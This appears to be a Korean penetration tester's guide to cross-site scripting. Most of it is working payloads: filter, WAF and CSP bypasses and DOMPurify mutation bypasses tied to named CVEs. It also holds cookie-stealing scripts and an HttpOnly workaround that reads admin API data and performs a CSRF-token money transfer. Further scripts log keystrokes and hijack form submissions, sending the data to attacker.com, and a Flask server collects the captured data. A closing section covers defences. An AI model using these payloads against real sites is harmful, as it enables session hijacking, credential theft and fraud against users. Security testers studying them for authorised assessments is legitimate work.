Intro
XSS(Cross-Site Scripting)는 정말 오래된 취약점인데, 진단을 나가면 거의 매번 어떤 형태로든 발견되는 것 같습니다. 특히 요즘은 SPA 환경이 많아져서 DOM Based XSS가 점점 늘어나는 느낌입니다.
<script>alert(1)</script> 한 줄로 끝나던 시대는 지났고, 대부분의 서비스는 기본적인 필터링이나 CSP 정도는 적용하고 있어서 실제로 터뜨리려면 우회 페이로드를 고민해야 하는 경우가 많습니다.
이 글에서는 XSS 종류별 차이점과 진단 시 자주 쓰는 우회 페이로드, 그리고 대응 방안에 대해 정리해두려고 합니다.
XSS 종류
| 종류 | 설명 | 저장 위치 |
|---|---|---|
| Reflected | 요청 파라미터가 응답에 그대로 반영 | 서버 X (URL/요청에 의존) |
| Stored | 서버 DB에 저장된 페이로드가 다른 사용자에게 출력 | 서버 DB |
| DOM Based | 서버 응답이 아닌 클라이언트 JS가 직접 DOM 조작 시 발생 | 클라이언트 |
| Blind | 즉시 반응이 안보이고, 관리자/다른 페이지에서 트리거 | 서버 DB (관리자 페이지 등) |
🔥 진단 시에는 Stored > Blind > DOM > Reflected 순으로 임팩트가 크기 때문에 같은 취약점이라도 어디서 터지는지가 중요합니다.
Detect & Exploit
Detect
입력 → 출력 흐름 추적
가장 기본은 모든 입력 파라미터에 식별 가능한 문자열(g3rm1234)을 넣어보고 응답에 어떻게 반영되는지 보는 것입니다.
# 컨텍스트 파악용 페이로드
g3rm"'<>()=
위 페이로드를 넣어보면 응답에서 어떤 문자가 살아남고 어떤 문자가 인코딩/필터링 되는지 한 번에 볼 수 있습니다.
컨텍스트별 트리거 페이로드
입력값이 어디에 박히느냐에 따라 페이로드가 달라집니다.
# HTML 본문
<svg/onload=alert(1)>
# HTML Attribute (속성값 안)
" autofocus onfocus=alert(1) x="
# JS 문자열 안
';alert(1);//
# JS 템플릿 리터럴 안
${alert(1)}
# URL Attribute (href, src)
javascript:alert(1)
Exploit
Reflected XSS
검색창, 에러 페이지, 필터 결과 페이지 등 사용자 입력이 즉시 반영되는 곳에서 자주 발견됩니다.
# 검색 파라미터
https://victim.com/search?q=<svg/onload=alert(document.cookie)>
# 피해자에게 전달
https://victim.com/search?q=%3Csvg%2Fonload%3Dfetch(%60//attacker.com/%3Fc%3D%60%2Bdocument.cookie)%3E
Stored XSS
게시판, 댓글, 프로필, 채팅 등 DB에 저장되어 다른 사용자에게 노출되는 모든 곳이 대상입니다.
# 단순 쿠키 탈취
<script>new Image().src="https://attacker.com/?c="+document.cookie</script>
# fetch 기반 (CSP 우회 + 정확한 데이터 전송)
<script>fetch('https://attacker.com/log',{method:'POST',body:document.cookie})</script>
# HttpOnly 환경에서 세션 활용 (CSRF Style)
<script>fetch('/api/admin/users',{credentials:'include'}).then(r=>r.text()).then(d=>fetch('https://attacker.com/?d='+btoa(d)))</script>
☑️ HttpOnly가 걸려있어 쿠키 탈취가 안되더라도, 이미 인증된 세션으로 API를 호출해서 데이터를 빼오는 게 더 강력한 임팩트입니다.
DOM Based XSS
서버는 안전한데 클라이언트 JS에서 location.hash, document.referrer, postMessage 같은 값을 검증 없이 innerHTML, eval, document.write 등에 넣을 때 발생합니다.
# Source (공격자 제어 가능 입력)
location.hash, location.search, document.referrer, window.name, postMessage
# Sink (위험한 출력)
innerHTML, outerHTML, document.write, eval, setTimeout(string), Function()
# Payload 예시
https://victim.com/page#<img src=x onerror=alert(1)>
# 취약 코드 패턴
let user = location.hash.substring(1);
document.getElementById("welcome").innerHTML = "Hello, " + user;
# → URL: https://victim.com/#<img src=x onerror=alert(1)>
Blind XSS
관리자 페이지나 로그 뷰어 등 진단자가 직접 볼 수 없는 곳에서 트리거되는 케이스입니다. 문의 게시판, User-Agent, Referer 헤더 등에 자주 박습니다.
# XSS Hunter 스타일 페이로드 (자체 서버 운영 권장)
<script src="https://attacker.com/h.js"></script>
# h.js
new Image().src="https://attacker.com/log?u="+location.href+"&c="+document.cookie+"&h="+btoa(document.documentElement.innerHTML);
🔥 Blind XSS는 트리거 시점이 며칠 뒤일 수 있으니, 진단 PoC 서버는 진단 종료 후에도 일정 기간 유지해야 합니다.
Mutation XSS
브라우저는 HTML을 파싱할 때 유효하지 않은 마크업을 알아서 교정해주는 특성이 있습니다. 이 과정에서 sanitize 직후엔 안전했던 문자열이 DOM에 들어간 뒤 재파싱되면서 위험한 형태로 변형됩니다.
1. User Input → <div title="</div><img src=x onerror=alert(1)>">
2. Sanitize → <div title="</div><img src=x onerror=alert(1)>"> (속성값이라 안전)
3. innerHTML → 브라우저가 재파싱
4. Result → <div title="</div"><img src="x" onerror="alert(1)"></div>
↑ title이 닫히고 img 태그가 살아남음
🔥 핵심은 sanitize 결과를 다시 innerHTML에 넣는 순간 브라우저 파서가 한번 더 개입한다는 점입니다. Sanitizer가 가정한 파싱 결과와 브라우저가 실제로 파싱한 결과가 달라지는 데서 취약점이 발생합니다.
응답 헤더, 번들된 JS, package.json 노출 여부 등으로 어떤 sanitizer를 쓰는지 먼저 식별합니다.
# DOMPurify 식별
curl -s https://victim.com/main.js | grep -oP 'DOMPurify[\.\w]*'
curl -s https://victim.com/main.js | grep -oP 'isSupported|sanitize|setConfig'
# 버전 식별 (소스맵 노출 시)
curl -s https://victim.com/main.js.map | grep -oP 'dompurify[/-][\d\.]+'
☑️ 버전 식별이 중요한 이유는 mXSS는 버전별 CVE가 다 다르기 때문입니다. 2.x와 3.x는 우회 페이로드가 완전히 다릅니다.
Payload
0. Context Detection
진단 첫 단계에서 컨텍스트 파악용 페이로드입니다.
# Universal probe
g3rm"'<>()=`{}
# 응답 분석
< → < : HTML Entity Encoding 적용
< → \u003c : JS String Encoding 적용
< → %3C : URL Encoding 적용
< → 그대로 출력 : 인코딩 없음 (대부분 트리거 가능)
" → 그대로 출력 : Attribute 컨텍스트에서 위험
1. HTML Body Context
기본 태그가 그대로 들어가는 경우입니다.
<!-- 기본 -->
<script>alert(1)</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>
<!-- script 차단 시 -->
<svg/onload=alert(1)>
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<img src=x onerror="alert(1)">
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<iframe srcdoc="<script>alert(1)</script>">
<!-- 사용자 인터랙션 필요 (덜 깐깐한 필터 우회) -->
<details open ontoggle=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<marquee onstart=alert(1)>
<!-- 최신 브라우저 호환 -->
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<svg><set onbegin=alert(1) attributeName=x to=1>
<form id=x><button form=x formaction=javascript:alert(1)>X
2. HTML Attribute Context
<input value="HERE"> 처럼 속성값 안에 들어가는 경우입니다.
<!-- 따옴표 탈출 가능 -->
" onfocus=alert(1) autofocus x="
" onmouseover=alert(1) x="
" onerror=alert(1) src=x x="
<!-- 따옴표 탈출 불가 (event handler 추가만) -->
onfocus=alert(1) autofocus
onclick=alert(1)
<!-- href, src, action 등 URL Attribute -->
javascript:alert(1)
javascript:alert(1)
java%0ascript:alert(1)
java%09script:alert(1)
JaVaScRiPt:alert(1)
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
3. JavaScript Context
<script>var x = "HERE";</script> 처럼 JS 코드 안에 들어가는 경우입니다.
// 문자열 탈출
';alert(1);//
";alert(1);//
\';alert(1);//
// 템플릿 리터럴 안
${alert(1)}
${alert`1`}
// 주석 안
*/alert(1)/*
*/alert(1);//
// JSON 컨텍스트
\";alert(1);//
</script><script>alert(1)</script>
4. URL Context (location.href 등)
javascript:alert(1)
javascript:alert(1)//
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
5. CSS Context
/* style 속성 안 */
expression(alert(1)) /* IE only - 거의 안됨 */
background:url("javascript:alert(1)") /* 구버전 */
}*/alert(1)/*{
Bypass Payload
필터링 우회
# <script> 차단 시
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<input autofocus onfocus=alert(1)>
<marquee onstart=alert(1)>
# alert 차단 시
<svg/onload=confirm(1)>
<svg/onload=prompt(1)>
<svg/onload=eval(atob('YWxlcnQoMSk='))> # base64: alert(1)
# 괄호 차단 시
<svg/onload=alert`1`> # 백틱(태그드 템플릿 리터럴)
<svg/onload=alert(1)> # HTML Entity
# 공백 차단 시
<svg/onload=alert(1)> # / 로 대체
<svg%0Aonload=alert(1)> # 개행문자
<svg%09onload=alert(1)> # Tab
<!-- 대소문자 -->
<ScRiPt>alert(1)</sCrIpT>
<SVG/onload=alert(1)>
<!-- 공백 변형 -->
<svg/onload=alert(1)>
<svg%09onload=alert(1)>
<svg%0Aonload=alert(1)>
<svg%0Donload=alert(1)>
<svg%00onload=alert(1)>
<!-- 이중 인코딩 -->
%253Cscript%253Ealert(1)%253C%252Fscript%253E
<!-- HTML Entity -->
<script>alert(1)</script>
<script>alert(1)</script>
<script>alert(1)</script>
<!-- 폐쇄 우회 -->
<<script>alert(1);//<</script>
<scr<script>ipt>alert(1)</scr</script>ipt>
Attribute Injection
# 따옴표가 막혀있을 때 (인코딩 활용)
<a href="javascript:alert(1)">click</a>
<a href="javas	cript:alert(1)">click</a> # Tab 삽입
# event handler 활용
" onmouseover=alert(1) x="
" onfocus=alert(1) autofocus x="
Keyword 필터 우회 (alert, document 등)
// 문자열 분리
window["al"+"ert"](1)
window["\x61\x6c\x65\x72\x74"](1)
// eval + base64
eval(atob('YWxlcnQoMSk='))
Function('alert(1)')()
setTimeout('alert(1)',0)
setInterval('alert(1)',0)
// document 우회
top["doc"+"ument"]["coo"+"kie"]
self['document']['cookie']
parent['document']
// 백틱 활용 (괄호 차단 시)
alert`1`
alert`${document.cookie}`
// 유니코드 이스케이프
\u0061\u006c\u0065\u0072\u0074(1)
// HTML Entity in Attribute
<a href="javascript:alert(1)">click</a>
WAF 우회 (Cloudflare, Akamai, AWS WAF)
<!-- 일반적으로 잘 통과되는 페이로드 -->
<svg><animatetransform onbegin=alert(1)>
<svg><animate onbegin=alert(1) attributeName=x>
<svg><set onbegin=alert(1)>
<svg><discard onbegin=alert(1)>
<!-- HTML5 신규 태그 -->
<dialog open onclose=alert(1)>X</dialog>
<details open ontoggle=alert(1)>
<!-- 잘 안 거르는 이벤트 핸들러 -->
<a onpointerenter=alert(1)>X</a>
<a onpointerover=alert(1)>X</a>
<input onbeforeinput=alert(1)>
<input oninput=alert(1)>
<!-- Polyglot (어디 박혀도 동작) -->
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
CSP 우회
CSP Bypass 글 참조
가장 자주 만나는 시나리오를 정리해두겠습니다.
# 1. unsafe-inline 미적용 + 외부 스크립트 허용 도메인 존재
Content-Security-Policy: script-src 'self' https://www.google.com
# → JSONP endpoint 활용
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1)"></script>
# 2. nonce 기반 CSP에서 dangling markup
# nonce가 있어도 기존 nonce 가진 script 태그를 재활용 가능한 경우
<script nonce="...">/* 기존 코드 */</script>
# → DOM Clobbering, Mutation XSS 등 활용
# 3. base-uri 미설정
<base href="https://attacker.com/">
# → 이후 상대경로로 로드되는 모든 리소스가 공격자 도메인에서 로드됨
<!-- script-src 'self' + 외부 도메인 허용 -->
<!-- google.com이 허용된 경우 (JSONP) -->
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1)"></script>
<!-- script-src 'self' + AngularJS 호스팅 -->
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script>
<div ng-app ng-csp></div>
<!-- nonce 기반 + dangling markup -->
<base href="https://attacker.com/">
<!-- 이후 모든 상대경로 리소스가 attacker.com에서 로드됨 -->
<!-- script-src 'unsafe-eval' 허용 시 -->
<script>eval('alert(1)')</script>
<script>Function('alert(1)')()</script>
<!-- script-src 'unsafe-inline' 허용 시 -->
<!-- 그냥 inline script 다 됨 -->
<!-- object-src 미설정 시 -->
<object data="data:text/html,<script>alert(1)</script>"></object>
<embed src="data:text/html,<script>alert(1)</script>">
# 빠른 CSP 헤더 확인
curl -sI https://victim.com | grep -i content-security-policy
# 결과를 https://csp-evaluator.withgoogle.com/ 에 붙여넣으면
# 우회 가능 여부와 추천 페이로드 방향 자동 분석
☑️ CSP 진단 시에는 CSP Evaluator 가 빠르게 약점 파악할 수 있어서 자주 씁니다.
HttpOnly 우회 (세션 활용)
// 인증된 세션으로 API 호출 후 데이터 빼오기
<script>
fetch('/api/admin/users',{credentials:'include'})
.then(r=>r.text())
.then(d=>fetch('https://attacker.com/?d='+btoa(d)))
</script>
// CSRF Token까지 탈취해서 실제 액션 수행
<script>
fetch('/profile',{credentials:'include'})
.then(r=>r.text())
.then(html=>{
const token = html.match(/name="csrf" value="([^"]+)"/)[1];
fetch('/api/transfer',{
method:'POST',
credentials:'include',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:`amount=10000&to=attacker&csrf=${token}`
});
});
</script>
Polyglot Payloads
어떤 컨텍스트에 들어가도 동작하는 만능 페이로드입니다.
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//
☑️ Polyglot은 검증용으론 좋지만, 실제 익스플로잇 시점엔 컨텍스트 파악 후 가벼운 페이로드 쓰는 게 안정적입니다.
Mutation XSS (mXSS)
DOMPurify같은 sanitizer가 1차 처리한 후 브라우저가 DOM 파싱 과정에서 다시 변형하면서 페이로드가 살아나는 경우입니다.
# 입력
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
# Sanitize 후 innerHTML 재할당 시 브라우저가 재파싱하면서 트리거
# 기본 mutation 테스트 페이로드
<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>
# 응답에서 어떻게 변형되는지 확인
CVE-2020-26870 (DOMPurify < 2.0.17)
<style> 태그 안의 mutation을 이용한 우회입니다.
<svg></p><style><a id="</style><img src=x onerror=alert(1)>">
파싱 흐름은 아래와 같습니다.
[Sanitize 시점]
<svg> 안에서 <style>은 foreign content로 텍스트 처리 → 안전 판단
[innerHTML 재할당 시점]
<svg> 컨텍스트가 깨지면서 <style>이 일반 HTML로 재파싱
→ </style> 태그 종료 후 <img onerror> 실행
CVE-2024-45801 (DOMPurify < 3.1.3)
Node 잔재(node residue)를 이용한 우회 케이스입니다.
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)></style>
[Sanitize 시점]
math/mtext namespace에서 정제 → 안전 판단
[Mutation 시점]
<table>이 mtext 밖으로 튀어나가면서 namespace 컨텍스트 변경
→ <style> 내부 페이로드가 HTML로 재해석
🔥 namespace 전환(SVG/MathML ↔ HTML)이 mXSS의 단골 지점입니다. 진단 시 svg/math 태그 안에 페이로드를 한 번씩 넣어보는 걸 추천합니다.
Server-Client Sanitizer 불일치
# Server Sanitizer (Bleach 등)는 통과
# Client에서 innerHTML 시점에 mutation
<a href="javascriptj:alert(1)">click</a>
<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>click</text></a></svg>
서버와 클라이언트가 서로 다른 sanitizer를 쓰는 경우, 두 라이브러리의 파싱 차이를 이용할 수 있습니다.
Markdown → HTML 변환 케이스
# marked.js + DOMPurify 조합 시
[click](javascript:alert(1))
# 마크다운 파서가 entity decode 후 href에 넣고
# DOMPurify가 검증할 땐 이미 디코딩된 상태에서 검증되지 않으면 우회
PoC
Cookie Stealer 예시
진단 보고서용으로 자주 쓰는 가벼운 PoC 서버 코드입니다.
# Python 3.11 / Flask 3.0.0
# pip install flask==3.0.0
import logging
from datetime import datetime
from flask import Flask, request
logging.basicConfig(level=logging.INFO, format='[%(asctime)s] %(message)s')
app = Flask(__name__)
@app.route('/log', methods=['GET', 'POST'])
def log():
data = request.args.to_dict() if request.method == 'GET' else request.get_json(silent=True) or request.form.to_dict()
ip = request.headers.get('X-Forwarded-For', request.remote_addr)
ua = request.headers.get('User-Agent', '')
logging.info(f"[XSS-HIT] ip={ip} ua={ua} data={data}")
with open('xss_hits.log', 'a') as f:
f.write(f"{datetime.now().isoformat()}\t{ip}\t{ua}\t{data}\n")
return '', 204
if __name__ == '__main__':
# 진단 환경에서만 사용. RoE 범위 외 사용 금지.
app.run(host='0.0.0.0', port=8080)
// 실행
python xss_server.py
// 페이로드
<script>fetch('https://attacker.com/log?c='+document.cookie)</script>
// Image 기반 (간단)
<script>new Image().src="https://attacker.com/?c="+document.cookie</script>
// fetch 기반 (POST로 큰 데이터 전송 가능)
<script>fetch('https://attacker.com/log',{method:'POST',body:document.cookie})</script>
// XHR 기반 (구식이지만 호환성 좋음)
<script>var x=new XMLHttpRequest();x.open('GET','https://attacker.com/?c='+document.cookie);x.send()</script>
// Beacon API (페이지 이동 시에도 안정적 전송)
<script>navigator.sendBeacon('https://attacker.com/log',document.cookie)</script>
키로거 (Form Hijacking)
<script>
document.addEventListener('keydown', e => {
fetch('https://attacker.com/k?k=' + e.key);
});
</script>
// 폼 제출 가로채기
<script>
document.querySelectorAll('form').forEach(f => {
f.addEventListener('submit', e => {
const data = new FormData(f);
const obj = {};
data.forEach((v,k) => obj[k]=v);
fetch('https://attacker.com/form', {
method:'POST',
body: JSON.stringify(obj)
});
});
});
</script>
추천 도구
| 도구 | 용도 |
|---|---|
| Burp Suite Intruder | 수동 fuzzing, payload 위치 정밀 제어 |
| Dalfox | 자동 XSS 스캐너 (parameter mining + payload generation) |
| XSStrike | DOM 분석 + WAF 탐지 + 컨텍스트 분석 |
| KNOXSS | 상용, 임팩트 있는 payload 자동 생성 |
| ParamSpider | 파라미터 수집용 (XSS 시작점) |
| kxss | Reflected XSS 후보 빠르게 스크리닝 |
# Dalfox 기본 사용
dalfox url https://victim.com/search?q=test
# XSStrike
python xsstrike.py -u "https://victim.com/search?q=test" --crawl
# kxss + waybackurls 콤보 (recon → reflected 후보 추출)
echo "victim.com" | waybackurls | gf xss | kxss
Security Measures
1. Output Encoding (가장 중요)
입력값을 어디에 출력하느냐에 따라 인코딩 방식이 다릅니다.
| 컨텍스트 | 인코딩 방식 |
|---|---|
| HTML Body | HTML Entity Encoding (<, >, &) |
| HTML Attribute | HTML Attribute Encoding (모든 non-alphanumeric → &#xHH;) |
| JavaScript | JS Unicode Encoding (\uXXXX) |
| URL | URL Encoding (%HH) |
| CSS | CSS Hex Encoding (\HH) |
🔥 입력값 검증(Input Validation)은 보조 수단이고, 출력 시점의 인코딩(Output Encoding)이 본질입니다. 입력 시점에 막으려고 하면 어디선가 우회됩니다.
2. CSP (Content Security Policy)
# 권장 헤더 예시 (nonce 기반)
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{RANDOM}' 'strict-dynamic';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
-
unsafe-inline,unsafe-eval절대 금지 -
'strict-dynamic'+ nonce 조합이 현재 가장 권장되는 방식 -
base-uri 'none'으로 base 태그 인젝션 차단
3. HttpOnly & SameSite Cookie
Set-Cookie: SESSIONID=xxx; HttpOnly; Secure; SameSite=Strict
-
HttpOnly: JS에서document.cookie로 접근 차단 -
SameSite=Strict: CSRF 동시 방어
4. Sanitizer 라이브러리
직접 필터 짜지 말고 검증된 라이브러리 사용하면 됩니다.
- DOMPurify (JS, 클라이언트사이드)
- OWASP Java Encoder (Java)
- Bleach (Python)
- HtmlSanitizer (.NET)
☑️ 단, sanitizer 사용 후에도 결과를
innerHTML이 아닌textContent로 넣을 수 있는 컨텍스트라면 그게 더 안전합니다.